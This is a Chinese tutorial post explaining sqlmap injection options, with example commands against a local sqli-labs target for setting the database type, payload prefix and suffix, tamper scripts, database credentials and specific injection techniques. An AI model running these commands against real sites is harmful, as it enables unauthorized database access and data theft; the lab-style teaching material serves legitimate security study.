注入工具 -- sqlmap(注入参数)

简介: 注入工具 -- sqlmap(注入参数)


一、指定数据库类型 --dbms


http://192.168.1.121/sqli/Less-1/?id=1&&name=2 --dbms mysql --dbs


二、指定操作系统 --os


http://192.168.1.121/sqli/Less-1/?id=1&&name=2 --os windows --dbs


三、解决编码问题


将所有结果转换为字符串,并用空格替换NULL结果 --no-cast


四、关闭字符串转义机制


–no-escape


五、设置无效值替换


–invalid-bignum 大整数替换

–invalid-logical 布尔操作替换

–invalid-string 随机字符串替换


六、自定义注入负载位置


–prefix 设置前缀

–suffix 设置后缀

sqlmap -u “http://192.168.1.121/sqli/Less-1/?id=1” --prefix="’)" --suffix=“and (‘abc’='abc” --dbs

payload:id=(‘1’) and (‘abc’=‘abc’)


七、设置tamper脚本


sqlmap -u “http://192.168.1.121/sqli/Less-1/?id=1” --tamper “least.py,varnish.py” --dbs


八、设置dbms认证


sqlmap -u “http://192.168.1.121/sqli/Less-1/?id=1” --dbms-cred=“root:root” --dbs


九、设置具体sql注入技术


–technique B 布尔盲注

–technique E 报错注入

–technique U union查询注入

–technique S 堆叠注入

–technique T 时间盲注

–technique Q 内联查询注入

sqlmap -u “http://192.168.1.121/sqli/Less-1/?id=1” --technique T --time-sec 3 --dbs

–time -sec 时间盲注时间为3


十、指定union字段数


sqlmap -u “http://192.168.1.121/sqli/Less-1/?id=1” --union-cols 12-18 --dbs


十一、指定union字符,默认是null


sqlmap -u “http://192.168.1.121/sqli/Less-1/?id=1” --union-char aaa --dbs

禁止非法,后果自负


目录
相关文章
|
存储 C语言
向函数传递结构体: C语言中的结构体参数传递详解
向函数传递结构体: C语言中的结构体参数传递详解
1212 0
|
域名解析 缓存 网络协议
解决宝塔报错提示:您的请求在Web服务器中没有找到对应的站点
解决宝塔报错提示:您的请求在Web服务器中没有找到对应的站点
解决宝塔报错提示:您的请求在Web服务器中没有找到对应的站点
|
前端开发 关系型数据库 容器
利用Canvas进行绘制XY坐标系
原文:利用Canvas进行绘制XY坐标系 首先来一发图 绘制XY的坐标主要是利用Canvas setLeft和setBottom功能(Canvas内置坐标的功能) 1.首先WPF中的坐标系都是从左到右,从上到下的 即左上角位置(0,0)点,所以XY的Canvas要以(RenderTransf...
1874 0
|
6月前
|
Java 数据库
【YashanDB知识库】kettle同步大表提示java内存溢出
在数据导入导出场景中,使用Kettle进行大表数据同步时出现“ERROR:could not create the java virtual machine!”问题,原因为Java内存溢出。解决方法包括:1) 编辑Spoon.bat增大JVM堆内存至2GB;2) 优化Kettle转换流程,如调整批量大小、精简步骤;3) 合理设置并行线程数(PARALLELISM参数)。此问题影响所有版本,需根据实际需求调整相关参数以避免内存不足。
|
6月前
|
人工智能 自然语言处理 程序员
产品测评 | AI编程界的集大成者——通义灵码AI程序员
通义灵码AI程序员是阿里云推出的一款基于先进自然语言处理和深度学习技术的编程助手,集成于VS Code和JetBrains IDEs中。它覆盖从前端到后端的开发流程,支持多文件级别的代码修改、单元测试生成、多版本快照管理等高级功能,显著提升开发效率和项目管理能力。开发者可通过对话式交互完成需求理解到产品发布的全过程,实现高效敏捷开发。最新2.0版本在代码生成、跨语言编程、单元测试自动生成及图生代码等方面有显著提升,进一步优化了用户体验。
|
安全 Shell Linux
如何禁止某个用户使用ssh登录
本文介绍了五种禁止用户通过SSH登录的方法:1) 修改`/etc/ssh/sshd_config`文件中的`DenyUsers`和`DenyGroups`来阻止特定用户或用户组登录;2) 将用户的默认shell设置为`/usr/sbin/nologin`或`/bin/false`以禁用其SSH访问;3) 利用PAM(可插入认证模块)通过编辑`/etc/security/sshd.conf`来限制登录权限;4) 通过编辑`/etc/hosts.deny`文件拒绝特定用户的SSH访问;5) 锁定或禁用用户账号以阻止所有类型的登录。每种方法都提供了详细的步骤指导。
1660 2
|
网络协议 安全 API
家用路由器DNS被恶意篡改?教你如何应对
近期大量用户反馈家用路由器出现解析失效,怀疑部分家用路由器的DNS配置遭遇了非正常变动。我们建议家用路由器用户将本地DNS改成更安全可靠的服务器,如阿里云公共DNS;企业APP终端用户使用公共DNS企业版服务。
|
Cloud Native 安全 网络协议
有没有一些开源的工具可以帮助我抵御DDoS攻击?
开源DDoS防护工具包括: 1. ExaBGP:多功能BGP工具,用于流量保护。 2. DDoS-Ripper:DDoS攻击服务器,产生大量流量。 3. mCaptcha:无感知验证码,防御垃圾信息和DDoS。 4. Gatekeeper:首个开源DDoS防护系统。 5. Curiefense:统一的云原生应用保护平台,内置DDoS防护。 6. XDP-Firewall:利用Linux XDP快速阻断恶意流量的防火墙。
1485 1
|
定位技术 开发者
百度地图开发 —— 获取百度地图开发的 AK
百度地图开发 —— 获取百度地图开发的 AK
461 3
|
Unix Linux Windows
获取网站绝对路径常用方法
获取网站绝对路径常用方法
462 1

热门文章

最新文章